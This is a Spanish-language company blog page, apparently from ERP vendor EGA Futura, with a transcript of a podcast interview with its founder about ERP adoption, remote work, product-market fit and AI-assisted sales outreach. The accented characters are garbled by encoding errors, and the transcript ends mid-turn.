Skip to content

Etiqueta: interfaz de usuario

¬ŅQu√© es la previsi√≥n de la demanda?

Aprenda a elevar su estrategia de negocio con la Previsión de la Demanda. Predicciones precisas y decisiones informadas. Optimice el inventario, impulse el crecimiento y manténgase a la vanguardia.

Seguir leyendo

ūüŹÜ Juan Manuel Garrido en Ventaja Podcast ¬ę EGA Futura

ūüŹÜ Juan Manuel Garrido en Ventaja Podcast ¬ę EGA Futura

[00:00:02.340] – Raymundo

Hola, hola, ¬Ņqu√© tal? Bienvenidos y bienvenidas a Ventaja Podcast. Hoy tenemos a un gran invitado, a Juan Manuel Garrido, de EGA Futura. Juan Manuel, ¬Ņc√≥mo est√°s?

[00:00:16.810] – Juan Manuel

Hola, buenas tardes, Rey. ¬ŅC√≥mo est√°s?

[00:00:19.480] – Raymundo

Bien, bien. Aquí con la garganta de cantante.

[00:00:23.880] – Juan Manuel

El problema importante es que puedas seguir hablando y muchas gracias por la invitación a tu programa.

[00:00:32.310] – Raymundo

No, muchas gracias a ti. Platic√°bamos hace rato de las reuniones, entonces siempre como ese asunto de estar acomod√°ndose, es tema de que siempre uno tenga la flexibilidad y la apertura, y se da, siempre se da.

[00:00:53.330] – Juan Manuel

Exacto, sobre todo cuando es una reunión virtual y hay muchísimas personas involucradas, a veces uno tiene que tratar de ser flexible para que la reunión se pueda llevar a cabo.

[00:01:06.630] – Raymundo

Sí, malo cuando son presenciales. Fíjate, yo dejé de hacer presenciales ya bastante tiempo, si acaso algunas, por ahí, por el negocio. A veces no se puede. Apenas me pidieron una, hice la cuenta. De todos modos, le dije: No es viable. De entrada, yo ya digo: No. Pero fíjate, era dan de tiempo, cuatro horas y de dinero, como poquito, pero de todos modos es dinero, 20 dólares.

[00:01:42.310] – Juan Manuel

No, no.

[00:01:44.840] – Raymundo

Ni siquiera es mi cliente. Quieres que lo vaya a convencer, le digo: Que se convenza solo.

[00:01:51.490] – Juan Manuel

De alguna forma, la experiencia poco grata que toda la raza humana vivió 2020. Una de las cosas que sí pienso que ayudó a acelerar es la adopción de herramientas digitales que permiten que el trabajo, dentro de una empresa y dentro del mundo emprendedor, sea más eficiente. Hoy, yo puedo ver cómo equipos totalmente distribuidos son realmente productivos y son eficientes utilizando herramientas como como Slack, como Chatter, como Microsoft Teams o como Google Meet. Y antes había mucha burocracia en términos de pensar que los recursos humanos podían rendir solamente face to face en un entorno físico en donde estén todos juntos, y ahora no es así. Yo recuerdo, hace poco tiempo atrás, un amigo me decía: Nosotros a la hora de contratar recursos humanos, estamos hablando de una empresa tecnológica con un promedio de 300 empleados, me decía: Buscábamos en un radio de a 40 km/h a la redonda. Hoy eso ya no es algo relevante, no nos importa. Al principio comenzamos a buscar en otras ciudades y ahora ya se convirtieron en una empresa internacional.

[00:03:34.880] – Raymundo

Distribuida. Sí. Por ejemplo, Base Camp, que son como de los más promotores de eso desde el inicio. O sea, es una brutalidad.

[00:03:47.930] – Juan Manuel

Es una bonita empresa para estudiar Base Camp. Yo, a lo largo de mi carrera, aqu√≠ en Nega Futura, los he seguido much√≠simo. Creo que son menos de 40 personas todav√≠a. Ellos conceptualmente quieren ser tipos compactos, reducidos y trabajan de manera remota. Tienen un libro, ya que tiene varios a√Īos, Remote. Creo que fueron uno de los pioneros. Y el COVID ni siquiera era una palabra que exist√≠a en nuestra mente. Y estos g√ľeyes, ocho a√Īos atr√°s, diez a√Īos atr√°s, ya estaban trabajando de manera remota.

[00:04:31.560] – Raymundo

S√≠, muy impresionante. Oye, Juan Manuel, pero ahora s√≠ que dinos, pres√©ntate, ¬Ņqu√© andas haciendo?

[00:04:45.750] – Juan Manuel

Yo soy Juan Manuel Garrido. Fundé en 1994 EGA Futura, una empresa de tecnología. Principalmente, lo que hacemos es fabricar software tipo ERP o ERP. Para los que no No saben lo que es software ERP, estamos hablando de software empresarial. Nosotros nos focalizamos en el segmento de empresas medianas y, principalmente, lo que hacemos es cubrir los 360 grados de la problemática que una empresa puede tener desde su inventario, sus relaciones con el cliente, sus ventas, sus compras, sus cuentas por pagar, sus cuentas por cobrar, su contabilidad y hasta cuestiones como recursos humanos, activo fijo, envíos de correos electrónicos, interacción interna. Tenemos toda una red social montada encima del sistema, con el objetivo de que los usuarios de una empresa no tengan que depender de cosas como WhatsApp o de correo electrónico, o de llamadas, y que dentro de esa red social, que que simula Facebook, pero dentro del sistema, puedan trabajar de una manera ordenada.

[00:06:07.540] – Raymundo

El ERP a m√≠ me gusta mucho porque es como un sistema operativo, o sea, va, lo instala Es el sistema operativo de la empresa, es el n√ļcleo, el ADN de lo que le indica a un grupo empresario, a un emprendedor, a un jefe, un gerente, hacia d√≥nde est√° el norte y hacia d√≥nde est√° el sur. Y desde el 94, o sea, Ega Futura, desde el 94, instalaci√≥n en equipo, cableado de red.

[00:06:41.480] – Juan Manuel

S√≠. De hecho, te voy a decir algo, nunca trabaj√©, a lo largo de mis casi 50 a√Īos, nunca trabaj√© en otra empresa. Comenc√© de adolescente a programar como software y en el 94 fund√© la empresa. Era un chico de 20 a√Īos y a partir de ah√≠ comenzamos a crecer.

[00:07:12.120] – Raymundo

O sea, toda la vida.

[00:07:14.260] – Juan Manuel

Es toda ¬ŅC√≥mo se llama, mi vida, esto? Nuestro ERP tiene cuatro generaciones: generaci√≥n uno, generaci√≥n dos, generaci√≥n tres y generaci√≥n cuatro. En generaci√≥n uno ten√≠amos una interfaz de usuario DOS, de texto, Para que no sepan qu√© es DOS, antes de Windows, las computadoras o los computadores o los ordenadores, como se digan en diferentes lugares de Iberoam√©rica, usaban una interfaz de texto. Despu√©s vino Windows. Y ahora nuestro ERP de generaci√≥n cuatro corre en la nube. Ya estamos trabajando para incorporar funcionalidad que incluya inteligencia artificial, tecnolog√≠a muy nueva, pero que de alguna forma va a ahorrar much√≠simo tiempo. Te voy a contar algo respecto a ¬ŅHas visto? S√≠. Estaba hablando hace unos meses atr√°s con un colega que me prendi√≥ la l√°mpara y me dice: estuvimos haciendo un desarrollo con inteligencia artificial para Visa. ¬ŅY qu√© hicieron? Y me dice: Son millones de personas, millones de clientes. Y la cantidad de recursos humanos en el call center no es suficiente para poder establecer comunicaciones telef√≥nicas con los varios millones de clientes. Entonces, estamos construyendo un algoritmo que analiza el comportamiento de un cliente. Entonces, nosotros ya podemos ver, por ejemplo, que si el cliente consume todo su l√≠mite y deja de pagar, probablemente ese cliente lo perdamos y se vaya con otra empresa o sea un incobrable.

[00:09:21.970] – Juan Manuel

Entonces, el algoritmo va detectando esos comportamientos y genera llamados en el call center para ofrecerles, por ejemplo, una promoci√≥n al cliente y de esa manera intentar reconquistar ese cliente que ya predictivamente se va a ir para que se quede dentro de visa, en este caso. Entonces, ah√≠ yo dije: En el mundo del software empresarial hay un mont√≥n de cosas que se pueden hacer. Obviamente que hoy la inteligencia artificial est√° en su infancia y tal vez podamos pensar que lo m√°s natural es que fabrique un correo electr√≥nico personalizado para el cliente, que esas son cosas que estamos haciendo. Inclusive tambi√©n son cosas que estamos haciendo para contactar a potenciales clientes. No me hagas olvidar de esto, que es sumamente interesante, de lo que estamos haciendo para ventas. Pero volviendo a lo que es el software empresarial, se puede hacer much√≠simo desde cobranzas, an√°lisis de informaci√≥n, entender qu√© producto tengo que comprar, qu√© producto voy a vender, qu√© cliente podr√≠a tener un mejor desempe√Īo como comprador. Y yo supongo que a lo largo de los pr√≥ximos a√Īos van a haber much√≠simas m√°s cosas que nos vamos a ir dando cuenta de que pueden ser S√≠.

[00:11:02.850] – Raymundo

Y ah√≠ una de las preguntas que tra√≠a era: ¬Ņcu√°l es el mejor momento, a trav√©s de todos los a√Īos que llevas, de implementar un RP, o sea, del lado del cliente? ¬ŅD√≥nde has visto que dice.? Por ejemplo, a m√≠ me ha pasado de cuando se pierde total trazabilidad del proceso de producci√≥n o del proceso de venta es cuando empiezan, cuando dicen por ah√≠, pero no s√©. T√ļ tienes m√°s experiencia, por supuesto.

[00:11:38.060] – Juan Manuel

Pregunta dif√≠cil la que me est√°s haciendo, porque la respuesta es dif√≠cil. Lo que yo he visto a lo largo de todos estos a√Īos, es que una empresa en particular, a lo largo de todo su ciclo de vida, va cambiando de software de gesti√≥n empresarial a medida que va creciendo creciendo, hasta que llega un momento en donde se queda con su producto definitivo eternamente. Entonces, la mejor sugerencia es desde el Al principio, hay que comenzar con una herramienta buena y barata. Hay mucho software de gesti√≥n empresarial, bueno y barato, y que corra en la nube. Cuando digo bueno y barato, estoy hablando de un software de menos de 100 d√≥lares al mes, en la nube, es excelente. Y eso le va a permitir a un emprendedor o a una peque√Īa o mediana empresa comenzar a resolver dos problemas que nosotros vemos en los procesos de digitalizaci√≥n de empresas ya m√°s grandes, que son: problema n√ļmero uno, no hay procesos definidos. Ese es el n√ļmero uno que una herramienta de software va a ayudar a resolver. Hoy hay empresas que Por ejemplo, no tienen en claro c√≥mo comprar. Hay una empresa muy grande que por una cuesti√≥n de confidencialidad es muy conocida todo el mundo, nos contact√≥, no No puedo decir el nombre, pero s√≠ voy a contar un problema.

[00:13:32.950] – Juan Manuel

Es una empresa que est√° en todo el mundo y nos contact√≥ una subsidiaria de un pa√≠s de Am√©rica Latina y nos coment√≥ este problema. Recibimos m√°s de 2000 facturas de compra al mes y todo lo hacemos con Excel. La problem√°tica ca√≥tica que se vive en un √°rea administrativa manejando eso con Excel es intergal√°ctica, es gigante. O sea, estos tipos est√°n pagando un mont√≥n de dinero en sueldos de recursos humanos. Los recursos humanos deben estar quemados con toda la cabeza prendida a fuego, porque levantarte a la ma√Īana para comenzar a trabajar y que tu trabajo sea picar n√ļmeros adentro de una S√≠. Planilla de c√°lculo debe ser algo bastante desmotivante. Y, por otro lado, no saben qu√© compran, ni a qu√© precio ni c√≥mo. Entonces, establecer procesos desde un momento muy temprano le va a servir a cualquier empresa mediana o cualquier emprendedor a ya establecer procesos y que esos procesos se vayan impregnando en la cultura de de la empresa. Lo cual es clave, porque despu√©s tratar de cambiar esa cultura, y lo he visto un mont√≥n de veces, es muy dif√≠cil. Y el otro problema, te dije que tener una herramienta de software de gesti√≥n empresarial, desde el principio, resuelve dos problemas.

[00:15:18.840] – Juan Manuel

El segundo problema es la adaptaci√≥n del recurso humano a una herramienta. El recurso humano tiene que saber que todo queda registrado, que los precios de costo son los precios de costo, los de venta son los de ventas, que hay trazabilidad de que si alguien quiere hacer una auditor√≠a, esa auditor√≠a va a arrojar n√ļmeros que coinciden o que van a coincidir con la realidad y con cosas que pasaron. Entonces, realmente es muy recomendable. Ahora, probablemente una empresa con 15 empleados, 20, cuando sean 50 van a necesitar un software m√°s grande. Y ah√≠ va a haber todo un proceso de migraci√≥n y de dolor. Hasta que en un momento de madurez necesiten utilizar una herramienta grande, como ser√≠a el caso… Sin ning√ļn tipo de preferencias, voy a nombrar productos que est√°n disponibles hoy en el mercado, que compiten con nosotros y que son muy buenos. Sap Business One, una herramienta hermosa. Microsoft Dynamics, tambi√©n. Ega Futura, tambi√©n. Ega Futura es un ERP que corre arriba de infraestructura Salesforce. Por lo tanto, est√°n en la app, aplicaci√≥n m√≥vil, red social, inteligencia de negocios, de informes, point and click, toda esa magia moderna. Ese tipo de productos s√≠ tienen la capacidad de acompa√Īar el crecimiento de una empresa eternamente, porque son productos que tienen mucha evoluci√≥n tecnol√≥gica atr√°s, en donde todos los a√Īos hay varias generaciones y que al mismo en el tiempo, tienen una potencia de personalizaci√≥n enorme hacia el mercado, el segmento vertical de la empresa.

[00:17:42.790] – Juan Manuel

Creo que fue muy largo, pero esto es algo que yo le recomendaría muchísimo tener en cuenta a cualquier empresario que está pensando, cualquier empresario, cualquier emprendedor, cualquier persona de negocios que está pensando en tener empresa ordenada.

[00:18:01.870] – Raymundo

S√≠, porque tambi√©n una de las cosas que me encuentro muy seguido es, ya sea que est√°n muy chiquititos de menos de siete, menos de diez, dicen: ¬ŅPara qu√©? O sea, ¬Ņpara qu√© contrato un servicio si nada m√°s necesito contabilidad o nada m√°s necesito CRM o nada m√°s necesito esto. Es que eso es uno de los grandes limitantes como del lado del mindset, que es usar un ERP, o sea, te exige entrenamiento, capacidad, un recurso humano o si no, t√ļ mismo, due√Īo o due√Īa, convertirte en ese estratega que identifica. Y lo que a m√≠ me encanta del ERP es que hace mucho tiempo, o sea, al inicio, cuando se empezaba a usar, pues fue creado para producto, pero para servicio no tiene ning√ļn tema. O sea, si uno ofrece servicios, calza igual de manera perfecta. Y justo esos dolores de cabeza que dices.

[00:19:08.840] – Juan Manuel

Y hoy ya tenemos software ERP con especialización en servicios. Te voy a decir, por ejemplo, en el caso nuestro, que es el mismo caso de SAP y es el mismo caso de Microsoft Dynamics, hay gestión proyectos dentro de LERP. Entonces, ya es posible en la misma herramienta que están facturando o definiendo los planes de cuenta o están haciendo los asientos contables en esa misma herramienta, O sea, pueden establecer proyectos, que pueden ser proyectos internos o proyectos externos, crear todas las tareas, asignar esas tareas a Recursos Humanos, establecer deadlines, vincular consumo de o no a esas tareas. O sea, realmente es algo totalmente transformador para empresas de servicio.

[00:20:12.870] – Raymundo

S√≠, porque es el orden y es el saber, la trazabilidad, o sea, todo. Y de verdad s√≠, es medio doloroso cuando uno no ha llegado a un nivel lo suficientemente alto para evaluarlo, pero ya, Ya escucharon, Juan Manuel tambi√©n lo recomienda en el sentido de… Tambi√©n te va forzando, te va haciendo ponerle seriedad y ponerle m√°s visi√≥n a futuro, que tampoco necesitas escalar a 300, 500, 1000 personas. ¬ŅQu√© ser√° como el tama√Īo donde ya hace sentido? ¬ŅUnas 12, 15 personas?

[00:20:52.490] – Juan Manuel

Para m√≠, el n√ļmero obligatorio es ocho. Cuando dentro de una empresa ya hay ocho personas, aunque sea un sistema compacto, tiene que ser implementado. Y la ventaja, m√°s all√° de todo esto que venimos hablando, la ventaja que m√°s valorada es por los clientes es el orden o el resultado, te dir√≠a, es el orden y la previsibilidad. Que una empresa pueda saber cu√°nto dinero le deben sus clientes, cu√°nto dinero ellos le deben a sus proveedores, cu√°les son los productos que mejor van a comportarse en el pr√≥ximo cuatrimestre, qu√© necesitan comprar ahora. Eso es previsibilidad, y sobre todo en un ambiente tan, te dir√≠a, convulsionado como es Am√©rica Latina. Tal vez en Espa√Īa un poco, pero en Am√©rica Latina las econom√≠as son completamente distintas a como es, por ejemplo, una econom√≠a en los Estados Unidos.

[00:22:09.410] – Raymundo

Sí, sí, sí, sí.

[00:22:10.850] – Juan Manuel

En donde aquí cada aspecto que aporte orden y previsibilidad es una ventaja competitiva.

[00:22:21.380] – Raymundo

S√≠. Y hablando de ser previsores, es que Juan Manuel, hace rato que platic√°bamos Me sorprende y te admiro mucho el sentido de… Bueno, a lo que se ve y a lo que hemos platicado, el enfoque. No s√© si a ti en lo que llevas te ha pasado eso de sale el nuevo objeto reluciente y como que te jala. Hay muchos de los que conozco, yo mismo soy un ejemplo de… O sea, me emociono con un mont√≥n de cosas y muchas veces he perdido el enfoque. ¬ŅA ti te ha pasado? Y si te ha pasado ¬ŅC√≥mo lo has controlado?

[00:23:01.320] – Juan Manuel

Me ha pasado y con una inversi√≥n muy grande de energ√≠a emocional e intelectual, tratar de encarrilarme y me ha ido bien en ese aspecto. Lo primero que tenemos que tener en consideraci√≥n es que los seres humanos estamos cableados para que la novedad, para que lo nuevo, nos produzca satisfacci√≥n, nos produzca sentirnos bien. Y esto una vez estaba leyendo, creo que estaba leyendo a un neurocient√≠fico norteamericano que se llama Uberman, en donde este g√ľey dec√≠a que en la √©poca de las cavernas, la sensaci√≥n de sentirse totalmente movilizado ante algo nuevo era clave para la supervivencia. Imag√≠nate t√ļ y yo en una caverna y que viene otro g√ľey y nos dice: Hay un le√≥n en la puerta. No pasa nada. Esa noticia nueva, de alguna forma, tendr√≠a que movilizarnos y pararnos los pelos para que nosotros le prestemos atenci√≥n. O lo mismo con el fuego, o lo mismo cuando todav√≠a la raza humana no hab√≠a descubierto la agricultura. Encontramos un nuevo campo lleno de ma√≠z. Vamos todos all√°. Entonces, eso es natural. En el ser humano, eso tambi√©n te explica la adicci√≥n en las redes sociales, el por qu√© TikTok con su formato. A m√≠ me cost√≥ bastante tiempo desinstalar todas mis de redes sociales de mi iPhone.

[00:25:05.070] – Juan Manuel

Y eso fue, me acuerdo que una vez estaba mi√©rcoles en casa, en el living, mi esposa y mi hijo ya se hab√≠an ido a dormir. Sube una hora en TikTok y a m√≠ esa hora me parecieron seis minutos. Dije: Ac√° hay algo que no est√° bien. Y eso es porque la novedad continua nos atrae. Entonces, imagina por un momento c√≥mo un jefe o un empresario o un gerente, un emprendedor, se va a sentir cuando ve algo nuevo, √©l va a pensar que eso va a cambiar la trayectoria de su empresa o que va a cambiar la manera en la que vende. Es muy f√°cil distraerse. Yo voy a recomendar algo, que esta recomendaci√≥n va pura y exclusivamente para empresas nuevas o para emprendedores. Obviamente, esto no aplica a empresas que ya tienen una trayectoria o que est√°n establecidas. Hay un concepto que me gusta mucho, que se llama Product-Market-Fit. Pueden googlearlo como PMF, Product-Market-Fit, que de alguna forma es una especie de f√≥rmula o esquema o estrategia como…

[00:26:38.120] – Raymundo

O métrica.

[00:26:39.240] – Juan Manuel

O m√©trica, como quieras definir, que te determina si el producto o el servicio que tu empresa est√° vendiendo tiene demanda. Si tiene demanda. Porque hoy lo que generalmente ocurre es que Un emprendedor o un empresario tiene una idea, la quiere implementar en el mercado y despu√©s no hay demanda. Estaba yo hace un par de a√Īos atr√°s escuchando a un personaje, a un pensador, realmente, es todo lo que voy a decir, es con much√≠simo respeto, es una persona muy admirable, M√°ster Mu√Īoz, gran profeta mexicano del mundo de los negocios que trascendi√≥ un mont√≥n de fronteras, el tipo cuenta una experiencia personal de √©l en donde se les ocurrieron unas toallas inteligentes, pr√©mium, con alg√ļn bordado. Y el tipo dice que todav√≠a tiene toallas en la casa, porque no lograron vender nada. Entonces, si al principio de una empresa se analiza que el producto o que el servicio que la empresa va a brindar realmente tenga demanda, es decir, que hay un fit por parte de marketing.

[00:28:13.580] – Raymundo

Un ajuste o un mensaje.

[00:28:16.520] – Juan Manuel

Ya a partir de eso, no es necesario perder foco en qué vender o en qué hacer. Una forma muy simple de saber si hay demanda, es con poco esfuerzo tengo que poder tener candidatos de compra, potenciales clientes. No estoy hablando de vender. Si estoy hablando de si lo que yo voy a ofrecer en el mercado con poco esfuerzo, con relativamente poco esfuerzo, me va a dar potenciales clientes gente interesada, eso ya es un indicador de que hay demanda.

[00:29:03.070] – Raymundo

S√≠, justo. Te iba a decir que uno de los grandes temas es que esta vez la gente ense√Īa en la academia hay muchas referencias de que vemos en redes sociales o en blog, que todav√≠a no entienden en ingl√©s y en Europa, o sea, ya no lo veo tan seguido, pero todav√≠a tienen esa concepci√≥n de primero es la oferta y luego es la demanda.

[00:29:41.520] – Juan Manuel

Es decir- Totalmente al revés.

[00:29:43.620] – Raymundo

Y es totalmente al rev√©s, porque hay un volumen impresionante de demanda que no tiene oferta. Por ejemplo, nosotros que nos movemos tambi√©n en el ambiente empresarial, la cantidad de programadores o desarrolladores de software que se necesitan no se est√° cubriendo en este a√Īo, en el 2023, y se pronostica que para el 2025 o 2027 va a estar a√ļn m√°s, por eso los sueldos inflad√≠simos, robo de personal. En industria de desarrollo de software, es una carnicer√≠a, porque es compro con dinero, te llevo, te pongo lujos, ya es un estatus de estrellas de rock. Un amigo lo trataron de comprar de una startup, una empresa de tecnolog√≠a bastante fuerte, le pagaban renta, le daban gasto mensual y un autom√≥vil m√°s el sueldo.

[00:30:52.170] – Juan Manuel

Sí, yo he visto uno de los casos más extremos que he visto es una empresa en Norteamérica que le decía a sus empleados: Si me presentas a un programador a ese programador le hacemos el proceso de entrevistas y de admisión, y el programador es contratado, les regalamos a cada uno un bono de 10 000 dólares. 10 000 dólares para quien refiere al programador y 10 000 dólares de bono de bienvenida para el programador.

[00:31:35.730] – Raymundo

S√≠, muy fuerte. Y ah√≠ es un claro ejemplo de que ah√≠ est√° la oferta. O sea, con lo que le tratamos de decir con esto es: ¬ŅQu√© es un buena oportunidad de negocio una neoacademia o neouniversidad, para crear desarrolladores de software?. No basta, no basta lo que hay ahorita. Entonces, lo que Lo dec√≠as Juan Manuel, de qu√© necesita la gente y luego crea el producto o servicio que necesitan, no es al rev√©s, como lo que dices.

[00:32:08.770] – Juan Manuel

Eso me hace acordar, cuando, no La frase exacta no la tengo presente, pero es: ¬ŅCu√°l fue el mejor negocio durante la fiebre del oro en los Estados Unidos? Que era una f√°brica de palas y picos.

[00:32:29.380] – Raymundo

S√≠, como ahorita, m√°s recientemente, que cu√°l es el mejor negocio en monedas digitales? Los exchanges, ¬Ņno? O sea, los que…

[00:32:41.120] – Juan Manuel

S√≠, el tema de los exchanges, en particular, creo que es un poco m√°s complejo porque hay un factor, hay un mont√≥n de factores, como la liquidez del exchange, la seguridad, pero es la confianza. Yo tengo amigos personales que con la debacle de FTX, de no mucho tiempo atr√°s, de la nada, de un d√≠a para el otro, perdieron 100 000 d√≥lares. Tipos que ten√≠an Genuinos, 100 000 d√≥lares en alguna criptom√≠a en particular, como podr√≠a ser Bitcoin o Ether o Monero o LUNA. Luna fue otro… Y hoy no tienen nada. Entonces, no creo que sea tan f√°cil establecer un exchange. Pero, efectivamente, aquellos que se establecieron, Binance, por ejemplo.

[00:33:44.280] – Raymundo

Ajá. Sí, justo son las palas, son las palas de la fiebre de oro. También otra cosilla que estábamos platicando hace rato, Que te recordara de lo de los correos de lo que estaban implementando de inteligencia.

[00:34:06.570] – Juan Manuel

Una forma de que esto es aplicable para cualquier industria. Esto que voy a contar ahora es aplicable para cualquier industria. Es algo que es relativamente barato de construir o de contratar. Y un empresario peque√Īo, muy peque√Īo, lo puede implementar y una empresa grande tambi√©n, que, por ejemplo, hacer un an√°lisis dentro de LinkedIn. Nosotros aqu√≠ ¬ŅC√≥mo se dice en M√©xico LinkedIn? ¬ŅLinkedin o LinkedIn?

[00:34:48.880] – Raymundo

Yo le pregunté una vez a un representante en México y me decía: A nosotros nunca nos ha importado eso. Entonces, dije: Bueno, yo de repente digo LinkedIn, luego digo LinkedIn. Entonces, me lo dijo así, dije: Ven.

[00:35:10.800] – Juan Manuel

Nosotros, aqu√≠ en la Argentina, Y pa√≠ses lim√≠trofes estamos acostumbrados a escuchar LinkedIn. Entonces, dentro de LinkedIn se puede hacer una b√ļsqueda o un filtro por jefes, gerentes, empleados de empresas que trabajen en alg√ļn segmento al cual nosotros le podamos vender. Esa informaci√≥n de cada perfil, de cada una de esas personas, se puede analizar con ChatGPT y con una instrucci√≥n. Esto que te voy a decir se puede hacer con planillas de Google Sheet y ChatGPT. Se puede hacer con eso o se puede automatizar con software que ya existe. Y que ChatGPT genere varios mensajes absolutamente personalizados para poder contactar a cada una de esas personas, un mensaje √ļnico: Hola Carlos, te escribo desde Ega Futura, me encanta que seas gerente de ventas de PepsiCo Latinoam√©rica, veo que cambiaste de puesto el a√Īo pasado y que en tu network est√° Roberto, que tambi√©n lo conozco y me gusta. Y ese tipo de personalizaci√≥n, sin esto, la √ļnica forma de escribir un mensaje de esas caracter√≠sticas es que lo escriba un humano. Y era un nivel de respuesta muy alto. Entonces, esto se podr√≠a hacer con planillas de c√°lculo y con ChatGPT o hay herramientas en el mercado que ya permiten hacer esto y se conectan directamente a LinkedIn, env√≠an los mensajes.

[00:37:10.310] – Juan Manuel

Nosotros estamos usando varias y con unos resultados hermosos.

[00:37:14.730] – Raymundo

A m√≠ el que m√°s tengo dos favoritos ah√≠, que es Walaxi, que eso lo us√© desde que nac√≠. Wallaxi ya es como vieja escuela. Aj√°, desde que era puro FR, que la dieron de alta en Francia, porque uno es ucraniano, un tipazo. Un d√≠a vino a M√©xico y ah√≠ nos quedamos a platicar. S√≠. ¬ŅCu√°l aqu√≠ s√≠ es un cl√°sico ya?

[00:37:41.200] – Juan Manuel

Tal vez no evolucionó tanto como el resto, pero es un clásico.

[00:37:45.220] – Raymundo

Y Octopus, Octopus-R-M. O sea, la funci√≥n de ese RM que tiene, me parece que si el vendedor exprime lo suficientemente ah√≠, no tiene ning√ļn tema para pasarlo al de la empresa, al ERP.

[00:38:00.950] – Juan Manuel

Es nuevo, que lo recomiendo, se llama Hey Rich. Rich como un alcance en inglés, sería Hey Rich, H-E-Y Rich. Googleéenlo Excelente.

[00:38:18.380] – Raymundo

Muy buena. No, Juan Manuel, ah√≠ hay, por ejemplo, uno de que apenas igual recomend√©, que ahorita se me fue el nombre, Creo que se llama Hello Contact o una cosa as√≠. Pero bueno, tienen un demo que es voz, o sea, es un chatbot de voz de inteligencia artificial, que su funci√≥n es dar una reuni√≥n. Solo sirve para eso. Y donde lo tienen, el demo, es con un control de plagas. En Estados Unidos es muy com√ļn empresas de control de plaga por la construcci√≥n. Nosotros en Latinoam√©rica somos mamposter√≠a, entonces no tenemos tanto detalle de eso. Y como usan madera, es muy com√ļn. Cierra la cita de una manera brutal, as√≠ de: Est√°s en una lista de espera hay cinco personas esperando la llamada, ¬Ņquieres que te vaya contando algunos servicios que terminamos? No, quiero hablar con una persona. Bueno, te entiendo, por supuesto. Mira, para que no se que se te haga tan pesado la espera, dime de qu√© plaga es la que tienes. Tengo de esto. Mira, f√≠jate, esto lo vamos a hacer as√≠ y as√≠. ¬ŅQu√© crees que ya solo faltan cuatro personas? ¬ŅQu√© te parece si de una vez te haciendo tu cita?

[00:39:49.610] – Raymundo

O sea, va trabajando la cosa así. Brutal, una cosa loquísima que sí me dejó ahí dando vueltas. Y ahorita con lo que estás diciendo de LinkedIn. A mí me gusta mucho por el sentido este que creo que por fin la gente está entendiendo, o bueno, a lo mejor yo ya limpié lo suficiente y ya no me aparece tanto, pero que LinkedIn no es para vender, es para agendar reuniones.

[00:40:19.580] – Juan Manuel

Para agendar reuniones, construir relaciones, agregar valor, absorber valor de gente como t√ļ, por ejemplo, o de otros tantos pensadores y l√≠deres de pensamiento, que de alguna forma dedican una gran parte de su tiempo a educar, y esa educaci√≥n es bien recibida.

[00:40:43.380] – Raymundo

Sí. Bueno, ahí soy creyente que todo producto o servicio debe de llevar un proceso consultivo como el del médico. Análisis, diagnóstico, estrategia, plan de acción.

[00:40:57.600] – Juan Manuel

Obviamente, Ese proceso consultivo se puede dar con determinados productos o con determinados servicios. Hay otros que quedan afuera, como las bebidas.

[00:41:12.240] – Raymundo

El detergente.

[00:41:13.530] – Juan Manuel

O el detergente. No hay mucho proceso consultivo, no hay mucho detergente dom√©stico. Ahora, s√≠ me parece una buena recomendaci√≥n para cualquier empresa que no venda productos de consumo masivo, como como bebidas o detergentes o remeras o camisas, es que agreguen valor al mercado con consultor√≠a gratis, con explicaciones de c√≥mo el problema que ellos resuelven se puede resolver mejor con un producto como el de ellos o con el de la competencia. Eso, a lo largo del tiempo, vi que el mercado suele reaccionar muy bien ante ese tipo de pr√°cticas que, seg√ļn el mindset de algunos sectores, puede ser pensado como que es una p√©rdida de tiempo. Invertir dinero, en capacitar a los clientes o en generar el contenido en video, es una p√©rdida de tiempo. Y en contrapartida de eso, yo lo que he visto es que el mercado lo toma muy bien, que las decisiones de compras generalmente suelen hacerse en aquellas empresas que m√°s presencia tienen.

[00:42:44.300] – Raymundo

S√≠, sin duda. Oye, Juan Manuel, ya para ir cerrando, si no nos podemos aventar aqu√≠, est√° bien buena la pl√°tica. M√°s bien, quiero invitarte a un nuevo episodio en donde hablemos m√°s de marketing y ventas, porque Porque f√≠jate, una de las cosas que a m√≠ me encanta, yo en mi an√°lisis personal me defino a Mirador o no s√©, m√°s bien me encanta o me gusta el SaaS B2B. O sea, a m√≠ primero el B2B me encanta y luego el SaaS, el Software as a Service, me fascina. Yo ah√≠ de las ventas me s√© y me investigo y practico y pongo as√≠, f√≠jate, tanto as√≠ que luego me consigoo conejillos de indias, que les digo: No te quiero vender nada, yo esto lo cobro, pero t√ļ tienes el momento y el producto el enfoque ideal para probar una estrategia que tengo. ¬ŅMe dar√≠as permiso de hacerla? No, pues si es gratis, p√°sale. As√≠ de fan√°tico soy de ese sector. Entonces, Voy a estar extendiendo la invitaci√≥n para que hagamos otro, pero ahorita pasemos a las preguntas cortas. Vamos, que venga la pregunta. Que venga las preguntas cortas. ¬ŅQu√© libro, recurso, o sea, qu√© libro, podcast, video o algo, o recurso, recomiendas, as√≠ que es tu top uno para negocios.

[00:44:22.860] – Juan Manuel

Un libro en particular, dos libros en particular, Multipliers, por un lado, rework, que hablamos al principio, por otro. Autores, recomiendo mucho Tim Ferries, Robin Sherma, a Tony Robbins. Son autores que en alg√ļn momento hay que dedicarles tiempo. Yo comprendo y soy consciente que la vida de un jefe, de un gerente, de un empresario, de un emprendedor, es siempre conflictiva en t√©rminos de poco tiempo y un mill√≥n de actividades, pero el tiempo para adquirir conocimiento, que puede ser a trav√©s de un libro o a trav√©s de un podcast, como es tu caso, que lo est√°s haciendo muy bien, ya son much√≠simos a√Īos que est√°s llevando adelante esto o un audiolibro, es algo que hay que hacer. Definitivamente, entonces, rework, Multipliers, Tony Robbins, Tim Ferry, Robin Sherman.

[00:45:41.200] – Raymundo

A mí me gusta mucho Tim Ferr por la estructura mental que tiene. O sea, esa cosa de los atajos es una locura.

[00:45:50.570] – Juan Manuel

¬Ņtim Ferr es un humano fuera de lo com√ļn? Yo creo que el tipo es un prodigio y es un genio, y lo sabe y es muy humilde. Y hay una forma de encarar la vida de √©l, que lo dijo, que a m√≠ me llam√≥ mucho la atenci√≥n. Y el tipo le dice al mercado, a la audiencia, a la gente: A m√≠ no me vean como un profeta o como un genio o como un pensador. A m√≠ v√©anme como un explorador que dedica una cantidad de tiempo y de energ√≠a muy grande en explorar qu√© funciona y qu√© no en el mundo de empresas, en el mundo de desarrollo personal, y propago ese conocimiento. S√≠, Interesante.

[00:46:47.070] – Raymundo

